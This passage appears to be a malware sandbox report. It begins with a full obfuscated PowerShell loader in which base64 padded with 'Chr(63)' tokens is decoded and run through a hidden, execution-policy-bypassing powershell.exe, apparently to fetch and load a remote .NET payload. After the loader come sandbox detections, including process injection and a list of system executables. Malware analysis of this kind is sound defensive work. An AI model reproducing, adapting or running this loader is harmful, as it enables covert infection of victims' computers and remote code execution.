gChr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)uChr(63)&Chr(63)EUChr(63)&Chr(63)bgBjChr(63)&Chr(63)G8Chr(63)&Chr(63)ZChr(63)&Chr(63)BpChr(63)&Chr(63)G4Chr(63)&Chr(63)ZwBdChr(63)&Chr(63)DoChr(63)&Chr(63)OgBVChr(63)&Chr(63)FQChr(63)&Chr(63)RgChr(63)&Chr(63)4Chr(63)&Chr(63)C4Chr(63)&Chr(63)RwBlChr(63)&Chr(63)HQChr(63)&Chr(63)UwB0Chr(63)&Chr(63)HIChr(63)&Chr(63)aQBuChr(63)&Chr(63)GcChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBCChr(63)&Chr(63)HkChr(63)&Chr(63)dChr(63)&Chr(63)BlChr(63)&Chr(63)HMChr(63)&Chr(63)KQChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EYChr(63)&Chr(63)bChr(63)&Chr(63)BhChr(63)&Chr(63)GcChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JwChr(63)&Chr(63)8Chr(63)&Chr(63)DwChr(63)&Chr(63)QgBBChr(63)&Chr(63)FMChr(63)&Chr(63)RQChr(63)&Chr(63)2Chr(63)&Chr(63)DQChr(63)&Chr(63)XwBTChr(63)&Chr(63)FQChr(63)&Chr(63)QQBSChr(63)&Chr(63)FQChr(63)&Chr(63)PgChr(63)&Chr(63)+Chr(63)&Chr(63)CcChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)GUChr(63)&Chr(63)bgBkChr(63)&Chr(63)EYChr(63)&Chr(63)bChr(63)&Chr(63)BhChr(63)&Chr(63)GcChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JwChr(63)&Chr(63)8Chr(63)&Chr(63)DwChr(63)&Chr(63)QgBBChr(63)&Chr(63)FMChr(63)&Chr(63)RQChr(63)&Chr(63)2Chr(63)&Chr(63)DQChr(63)&Chr(63)XwBFChr(63)&Chr(63)E4Chr(63)&Chr(63)RChr(63)&Chr(63)Chr(63)&Chr(63)+Chr(63)&Chr(63)D4Chr(63)&Chr(63)JwChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBUChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)B0Chr(63)&Chr(63)C4Chr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)E8Chr(63)&Chr(63)ZgChr(63)&Chr(63)oChr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EYChr(63)&Chr(63)bChr(63)&Chr(63)BhChr(63)&Chr(63)GcChr(63)&Chr(63)KQChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)ZQBuChr(63)&Chr(63)GQChr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)aQBtChr(63)&Chr(63)GEChr(63)&Chr(63)ZwBlChr(63)&Chr(63)FQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)HQChr(63)&Chr(63)LgBJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)TwBmChr(63)&Chr(63)CgChr(63)&Chr(63)JChr(63)&Chr(63)BlChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BGChr(63)&Chr(63)GwChr(63)&Chr(63)YQBnChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)BhChr(63)&Chr(63)HIChr(63)&Chr(63)dChr(63)&Chr(63)BJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)tChr(63)&Chr(63)GcChr(63)&Chr(63)ZQChr(63)&Chr(63)gChr(63)&Chr(63)DChr(63)&Chr(63)Chr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)tChr(63)&Chr(63)GEChr(63)&Chr(63)bgBkChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BlChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)tChr(63)&Chr(63)GcChr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)CsChr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EYChr(63)&Chr(63)bChr(63)&Chr(63)BhChr(63)&Chr(63)GcChr(63)&Chr(63)LgBMChr(63)&Chr(63)GUChr(63)&Chr(63)bgBnChr(63)&Chr(63)HQChr(63)&Chr(63)aChr(63)&Chr(63)Chr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)YgBhChr(63)&Chr(63)HMChr(63)&Chr(63)ZQChr(63)&Chr(63)2Chr(63)&Chr(63)DQChr(63)&Chr(63)TChr(63)&Chr(63)BlChr(63)&Chr(63)G4Chr(63)&Chr(63)ZwB0Chr(63)&Chr(63)GgChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BlChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)tChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BiChr(63)&Chr(63)GEChr(63)&Chr(63)cwBlChr(63)&Chr(63)DYChr(63)&Chr(63)NChr(63)&Chr(63)BDChr(63)&Chr(63)G8Chr(63)&Chr(63)bQBtChr(63)&Chr(63)GEChr(63)&Chr(63)bgBkChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)aQBtChr(63)&Chr(63)GEChr(63)&Chr(63)ZwBlChr(63)&Chr(63)FQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)HQChr(63)&Chr(63)LgBTChr(63)&Chr(63)HUChr(63)&Chr(63)YgBzChr(63)&Chr(63)HQChr(63)&Chr(63)cgBpChr(63)&Chr(63)G4Chr(63)&Chr(63)ZwChr(63)&Chr(63)oChr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)sChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BiChr(63)&Chr(63)GEChr(63)&Chr(63)cwBlChr(63)&Chr(63)DYChr(63)&Chr(63)NChr(63)&Chr(63)BMChr(63)&Chr(63)GUChr(63)&Chr(63)bgBnChr(63)&Chr(63)HQChr(63)&Chr(63)aChr(63)&Chr(63)Chr(63)&Chr(63)pChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BjChr(63)&Chr(63)G8Chr(63)&Chr(63)bQBtChr(63)&Chr(63)GEChr(63)&Chr(63)bgBkChr(63)&Chr(63)EIChr(63)&Chr(63)eQB0Chr(63)&Chr(63)GUChr(63)&Chr(63)cwChr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)BbChr(63)&Chr(63)FMChr(63)&Chr(63)eQBzChr(63)&Chr(63)HQChr(63)&Chr(63)ZQBtChr(63)&Chr(63)C4Chr(63)&Chr(63)QwBvChr(63)&Chr(63)G4Chr(63)&Chr(63)dgBlChr(63)&Chr(63)HIChr(63)&Chr(63)dChr(63)&Chr(63)BdChr(63)&Chr(63)DoChr(63)&Chr(63)OgBGChr(63)&Chr(63)HIChr(63)&Chr(63)bwBtChr(63)&Chr(63)EIChr(63)&Chr(63)YQBzChr(63)&Chr(63)GUChr(63)&Chr(63)NgChr(63)&Chr(63)0Chr(63)&Chr(63)FMChr(63)&Chr(63)dChr(63)&Chr(63)ByChr(63)&Chr(63)GkChr(63)&Chr(63)bgBnChr(63)&Chr(63)CgChr(63)&Chr(63)JChr(63)&Chr(63)BiChr(63)&Chr(63)GEChr(63)&Chr(63)cwBlChr(63)&Chr(63)DYChr(63)&Chr(63)NChr(63)&Chr(63)BDChr(63)&Chr(63)G8Chr(63)&Chr(63)bQBtChr(63)&Chr(63)GEChr(63)&Chr(63)bgBkChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)GwChr(63)&Chr(63)bwBhChr(63)&Chr(63)GQChr(63)&Chr(63)ZQBkChr(63)&Chr(63)EEChr(63)&Chr(63)cwBzChr(63)&Chr(63)GUChr(63)&Chr(63)bQBiChr(63)&Chr(63)GwChr(63)&Chr(63)eQChr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)BbChr(63)&Chr(63)FMChr(63)&Chr(63)eQBzChr(63)&Chr(63)HQChr(63)&Chr(63)ZQBtChr(63)&Chr(63)C4Chr(63)&Chr(63)UgBlChr(63)&Chr(63)GYChr(63)&Chr(63)bChr(63)&Chr(63)BlChr(63)&Chr(63)GMChr(63)&Chr(63)dChr(63)&Chr(63)BpChr(63)&Chr(63)G8Chr(63)&Chr(63)bgChr(63)&Chr(63)uChr(63)&Chr(63)EEChr(63)&Chr(63)cwBzChr(63)&Chr(63)GUChr(63)&Chr(63)bQBiChr(63)&Chr(63)GwChr(63)&Chr(63)eQBdChr(63)&Chr(63)DoChr(63)&Chr(63)OgBMChr(63)&Chr(63)G8Chr(63)&Chr(63)YQBkChr(63)&Chr(63)CgChr(63)&Chr(63)JChr(63)&Chr(63)BjChr(63)&Chr(63)G8Chr(63)&Chr(63)bQBtChr(63)&Chr(63)GEChr(63)&Chr(63)bgBkChr(63)&Chr(63)EIChr(63)&Chr(63)eQB0Chr(63)&Chr(63)GUChr(63)&Chr(63)cwChr(63)&Chr(63)pChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)B0Chr(63)&Chr(63)HkChr(63)&Chr(63)cChr(63)&Chr(63)BlChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)bChr(63)&Chr(63)BvChr(63)&Chr(63)GEChr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)GQChr(63)&Chr(63)QQBzChr(63)&Chr(63)HMChr(63)&Chr(63)ZQBtChr(63)&Chr(63)GIChr(63)&Chr(63)bChr(63)&Chr(63)B5Chr(63)&Chr(63)C4Chr(63)&Chr(63)RwBlChr(63)&Chr(63)HQChr(63)&Chr(63)VChr(63)&Chr(63)B5Chr(63)&Chr(63)HChr(63)&Chr(63)Chr(63)&Chr(63)ZQChr(63)&Chr(63)oChr(63)&Chr(63)CcChr(63)&Chr(63)RgBpChr(63)&Chr(63)GIChr(63)&Chr(63)ZQByChr(63)&Chr(63)C4Chr(63)&Chr(63)SChr(63)&Chr(63)BvChr(63)&Chr(63)G0Chr(63)&Chr(63)ZQChr(63)&Chr(63)nChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)G0Chr(63)&Chr(63)ZQB0Chr(63)&Chr(63)GgChr(63)&Chr(63)bwBkChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)dChr(63)&Chr(63)B5Chr(63)&Chr(63)HChr(63)&Chr(63)Chr(63)&Chr(63)ZQChr(63)&Chr(63)uChr(63)&Chr(63)EcChr(63)&Chr(63)ZQB0Chr(63)&Chr(63)E0Chr(63)&Chr(63)ZQB0Chr(63)&Chr(63)GgChr(63)&Chr(63)bwBkChr(63)&Chr(63)CgChr(63)&Chr(63)JwBWChr(63)&Chr(63)EEChr(63)&Chr(63)SQChr(63)&Chr(63)nChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)GEChr(63)&Chr(63)cgBnChr(63)&Chr(63)HUChr(63)&Chr(63)bQBlChr(63)&Chr(63)G4Chr(63)&Chr(63)dChr(63)&Chr(63)BzChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CwChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)nChr(63)&Chr(63)HQChr(63)&Chr(63)eChr(63)&Chr(63)B0Chr(63)&Chr(63)C4Chr(63)&Chr(63)NChr(63)&Chr(63)Chr(63)&Chr(63)0Chr(63)&Chr(63)DQChr(63)&Chr(63)NChr(63)&Chr(63)Chr(63)&Chr(63)2Chr(63)&Chr(63)DMChr(63)&Chr(63)cwBhChr(63)&Chr(63)GIChr(63)&Chr(63)cwBzChr(63)&Chr(63)HMChr(63)&Chr(63)cwBvChr(63)&Chr(63)HYChr(63)&Chr(63)aQB0Chr(63)&Chr(63)GsChr(63)&Chr(63)YQChr(63)&Chr(63)yChr(63)&Chr(63)GEChr(63)&Chr(63)bQBhChr(63)&Chr(63)HChr(63)&Chr(63)Chr(63)&Chr(63)YQChr(63)&Chr(63)vChr(63)&Chr(63)DYChr(63)&Chr(63)NQChr(63)&Chr(63)uChr(63)&Chr(63)DcChr(63)&Chr(63)MgChr(63)&Chr(63)uChr(63)&Chr(63)DQChr(63)&Chr(63)MQChr(63)&Chr(63)yChr(63)&Chr(63)C4Chr(63)&Chr(63)NQChr(63)&Chr(63)5Chr(63)&Chr(63)C8Chr(63)&Chr(63)LwChr(63)&Chr(63)6Chr(63)&Chr(63)HChr(63)&Chr(63)Chr(63)&Chr(63)dChr(63)&Chr(63)B0Chr(63)&Chr(63)GgChr(63)&Chr(63)JwChr(63)&Chr(63)pChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BtChr(63)&Chr(63)GUChr(63)&Chr(63)dChr(63)&Chr(63)BoChr(63)&Chr(63)G8Chr(63)&Chr(63)ZChr(63)&Chr(63)Chr(63)&Chr(63)uChr(63)&Chr(63)EkChr(63)&Chr(63)bgB2Chr(63)&Chr(63)G8Chr(63)&Chr(63)awBlChr(63)&Chr(63)CgChr(63)&Chr(63)JChr(63)&Chr(63)BuChr(63)&Chr(63)HUChr(63)&Chr(63)bChr(63)&Chr(63)BsChr(63)&Chr(63)CwChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GEChr(63)&Chr(63)cgBnChr(63)&Chr(63)HUChr(63)&Chr(63)bQBlChr(63)&Chr(63)G4Chr(63)&Chr(63)dChr(63)&Chr(63)BzChr(63)&Chr(63)CkChr(63)&Chr(63)';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('Chr(63)&Chr(63)','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
Process injection Process 204 resumed a thread in remote process 2252
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x0000000000000368
suspend_count: 1
process_identifier: 2252
1 0 0
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe